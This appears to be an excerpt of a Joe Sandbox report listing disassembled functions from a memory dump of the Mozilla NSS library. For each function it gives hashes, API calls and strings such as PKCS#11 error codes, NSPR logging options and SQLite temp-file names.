Function 6CEA1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 85aef1ab3a781fbca45188c23db57f6333d0108c3600318a5abfb6cc500992ee
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: A0D14B329046558FDB118E99C8843DA7773AB96328F2D8328CC682F7C6C37A9907C7D0

Function 6CE38EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3cd73bd76a131cb49989f83afecad969c86a9055b9f77cfbaabaab1851c466e
Instruction ID: 1eefe6131eab2c9b170445c7c7b4f93783ce79bc25934127d6956e86d3d210d8
Opcode Fuzzy Hash: c3cd73bd76a131cb49989f83afecad969c86a9055b9f77cfbaabaab1851c466e
Instruction Fuzzy Hash: 1C11D332A002298BD714CF15DC8575AB7B5BF4231CF24526BD4198FB51C775E896C7C1

Function 6CF10C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c129d94d68f76e37d16fb497614e9175de17d56bd73ca34dbb4f37e6ebb69d
Instruction ID: f3a7b496d1a31f9971f88d722e579d6be6b458634683b44af120ab2fc8fbb0aa
Opcode Fuzzy Hash: 97c129d94d68f76e37d16fb497614e9175de17d56bd73ca34dbb4f37e6ebb69d
Instruction Fuzzy Hash: 9C11C1757083059FCB00DF19C8806AA77A5FF85368F14816DD8198BB11DB71E816CBA1

Function 6CE83FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 271b76c89844bdeea407c7c06716eed89e91594f1404c09525158713d6ff9ed4
Instruction ID: 94572307d4d317c614dce281eff806f460eb2926e650fd65de410d7a60dfe35e
Opcode Fuzzy Hash: 271b76c89844bdeea407c7c06716eed89e91594f1404c09525158713d6ff9ed4
Instruction Fuzzy Hash: 8DF0BE70E007598BCF50DF29C4502EABBF4EF09244F10861AEC99AB300EB30AAC4C7C1

Function 6CF10D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 3d29fe7757d60a25a7a5315a5d38226b52131d277cb3888382aefc9452cfa54b
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: EBE06D3A21A054A7DB148E09C461BAA7359DF81719FA4807ACC599BE01DA73F8138781

Function 6CE3CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60b380be2b86fe3768f627f5c68308ea4d0ae132647fea433b8b81b3abdd17aa
Instruction ID: dda69cb68a2dc5c63ed8800995f34fcc1243bea89ba2e11c1198734d00262edc
Opcode Fuzzy Hash: 60b380be2b86fe3768f627f5c68308ea4d0ae132647fea433b8b81b3abdd17aa
Instruction Fuzzy Hash: 23C09238254708CFC744DF49E489EA87BF8FF4D6107044094EA028B721DB31FC00DA80

Function 6CE71D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CE71D46), ref: 6CE72345

Strings

CKR_INFORMATION_SENSITIVE, xrefs: 6CE722B1
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CE72179
rv = 0x%x, xrefs: 6CE72312
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CE72275
CKR_NEXT_OTP, xrefs: 6CE7222F
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CE71EE1
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CE7226B
rv = %s, xrefs: 6CE72340
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CE722FF
CKR_DEVICE_ERROR, xrefs: 6CE7229D
CKR_TOKEN_NOT_PRESENT, xrefs: 6CE71F81
CKR_FUNCTION_REJECTED, xrefs: 6CE72289
CKR_WRAPPED_KEY_INVALID, xrefs: 6CE71FB5
CKR_OK, xrefs: 6CE71DFC
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CE7204D
CKR_PIN_INVALID, xrefs: 6CE72057
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CE71F95
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CE72327
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CE71FD7
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CE72293, 6CE7233F
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CE71F8B
CKR_PIN_EXPIRED, xrefs: 6CE7206B
CKR_DEVICE_MEMORY, xrefs: 6CE71FF3
CKR_SAVED_STATE_INVALID, xrefs: 6CE71E56
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CE72319
CKR_STATE_UNSAVEABLE, xrefs: 6CE72037
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CE71DE0
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CE7227F
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CE71F0F
CKR_FUNCTION_CANCELED, xrefs: 6CE71E73
CKR_SIGNATURE_INVALID, xrefs: 6CE720CF
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CE7232E
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CE72320
CKR_OPERATION_ACTIVE, xrefs: 6CE722B8
CKR_PIN_LEN_RANGE, xrefs: 6CE72061
CKR_MUTEX_BAD, xrefs: 6CE71F49
CKR_PIN_INCORRECT, xrefs: 6CE71D92
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CE720D9
CKR_NEW_PIN_MODE, xrefs: 6CE71E9F
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CE72015
CKR_MUTEX_NOT_LOCKED, xrefs: 6CE72225
CKR_BUFFER_TOO_SMALL, xrefs: 6CE72183
CKR_RANDOM_NO_RNG, xrefs: 6CE722A7
CKR_PIN_LOCKED, xrefs: 6CE72075
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CE7218D
CKR_DEVICE_REMOVED, xrefs: 6CE72261
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CE71F77

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: edfbfbf9e8b342ef45cba9cdd14f6654fdef0164d496043c855a7e032fc654de
Instruction ID: 8fc739669a6b2e148d40fed06d4250888640f870ee5861074e386067ad1cf11a
Opcode Fuzzy Hash: edfbfbf9e8b342ef45cba9cdd14f6654fdef0164d496043c855a7e032fc654de
Instruction Fuzzy Hash: 7D61EF20A4F146E7E63C444C91BE36C2135AB23718F74C13BE5868EF56C2A9CA47C6B3

Function 6CEA5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CEA5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEA5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CEA5E5C
free.MOZGLUE(00000000), ref: 6CEA5E7E
free.MOZGLUE(00000000), ref: 6CEA5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CEA5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CEA5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEA5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CEA5EF0
free.MOZGLUE(00000000), ref: 6CEA5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEA5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CEA5F5B
free.MOZGLUE(00000000), ref: 6CEA5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CEA5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CEA5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEA5FC4
free.MOZGLUE(00000000), ref: 6CEA5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEA5FE9
free.MOZGLUE(00000000), ref: 6CEA5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEA600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEA6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CEA605A
PR_smprintf.NSS3(6CF7AAF9,00000000), ref: 6CEA606A
free.MOZGLUE(00000000), ref: 6CEA607C
free.MOZGLUE(00000000), ref: 6CEA609A
free.MOZGLUE(00000000), ref: 6CEA60B2
free.MOZGLUE(?), ref: 6CEA60CE

Strings

noModDB, xrefs: 6CEA5EEA
secmod=, xrefs: 6CEA5FB1
%s/%s, xrefs: 6CEA6055
forceSecmodChoice, xrefs: 6CEA5F55
readOnly, xrefs: 6CEA5E56
secmod.db, xrefs: 6CEA5EA0
flags, xrefs: 6CEA5E3A, 6CEA5EC6, 6CEA5F30
configDir=, xrefs: 6CEA5F9D
pkcs11.txt, xrefs: 6CEA5F47, 6CEA5F7C, 6CEA603A, 6CEA6053

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 6d63277afb5c8692aeef4053b4de413dd236bbffedbb3b1a5e901761828fed29
Instruction ID: cb7132cab987038dba5d059cf94ac7a878b546c8f662940265ecaddab523102a
Opcode Fuzzy Hash: 6d63277afb5c8692aeef4053b4de413dd236bbffedbb3b1a5e901761828fed29
Instruction Fuzzy Hash: D291D6F4E056015FEF118FA99C81B9A3BB89F0A24CF280065ED55DFB42E731D946C7A2

Function 6CE31D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE31DA3

Part of subcall function 6CF098D0: calloc.MOZGLUE(00000001,00000084,6CE30936,00000001,?,6CE3102C), ref: 6CF098E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE31DB2

Part of subcall function 6CE31240: TlsGetValue.KERNEL32(00000040,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE31267
Part of subcall function 6CE31240: EnterCriticalSection.KERNEL32(?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE3127C
Part of subcall function 6CE31240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE31291
Part of subcall function 6CE31240: PR_Unlock.NSS3(?,?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE312A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE31DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE31E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE31EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE31ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE31EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE31F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE31F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE31F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE31F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE31F83
PR_SetLogFile.NSS3(00000000), ref: 6CE31FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE31FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE31FCB
free.MOZGLUE(00000000), ref: 6CE31FD2

Strings

timestamp, xrefs: 6CE31EC4
NSPR_LOG_FILE, xrefs: 6CE31F69
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE31E27
Unable to create nspr log file '%s', xrefs: 6CE31FB3
, %n, xrefs: 6CE31E6B
bufsize, xrefs: 6CE31E9B
all, xrefs: 6CE31F0E
sync, xrefs: 6CE31E46
append, xrefs: 6CE31EE6
NSPR_LOG_MODULES, xrefs: 6CE31DAD

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: e11607af445b537eaffc5e76bb0689bde0e58cd243bf280db7c3e6f65e76bcde
Instruction ID: 30e1b15abb868e3df5d5bbd2b03a173efa77b98fb96322a78eb8e9c854995dd7
Opcode Fuzzy Hash: e11607af445b537eaffc5e76bb0689bde0e58cd243bf280db7c3e6f65e76bcde
Instruction Fuzzy Hash: 05519EB1E002299BDF009BE5DC45B9E7BB8AF0530DF28452DE81ADB740E775E918CB91

Function 6CF16E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDCCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE2F9C9,?,6CE2F4DA,6CE2F9C9,?,?,6CDF369A), ref: 6CDCCA7A
Part of subcall function 6CDCCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDCCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CDDBE66), ref: 6CF16E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CDDBE66), ref: 6CF16E98
sqlite3_snprintf.NSS3(?,00000000,6CF7AAF9,?,?,?,?,?,?,6CDDBE66), ref: 6CF16EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CDDBE66), ref: 6CF16ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CDDBE66), ref: 6CF16EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF16F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF16F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF16F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CDDBE66), ref: 6CF16FA6
sqlite3_snprintf.NSS3(?,00000000,6CF7AAF9,00000000,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF16FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF16FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF16FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF17014
sqlite3_free.NSS3(00000000,?,?,?,?,6CDDBE66), ref: 6CF1701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CDDBE66), ref: 6CF17030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF1705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CDDBE66), ref: 6CF17079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF17097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CDDBE66), ref: 6CF170A0

Strings

winGetTempname5, xrefs: 6CF17071
mz_etilqs_, xrefs: 6CF16F18
winGetTempname4, xrefs: 6CF17046
winGetTempname2, xrefs: 6CF170C4
winGetTempname1, xrefs: 6CF1708F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: f6f175d996da35d217d2f779f1d9b0a4af3902cbe22b2b7b026a16d2940452f6
Instruction ID: 2036822638cb9a10b88bb97d2b36aa80857568e795991493c4b855ddfada6e10
Opcode Fuzzy Hash: f6f175d996da35d217d2f779f1d9b0a4af3902cbe22b2b7b026a16d2940452f6
Instruction Fuzzy Hash: A5515AB2B092115BE7045730AC51BBB366A9B92318F144638F91597FC1FB25E91E82E3

Function 6CEA4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000,00000000,00000001), ref: 6CEA5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2,00000000), ref: 6CEA5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CEA5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEA50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE575C2), ref: 6CEA50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEA50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5153
free.MOZGLUE(?), ref: 6CEA516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEA517B
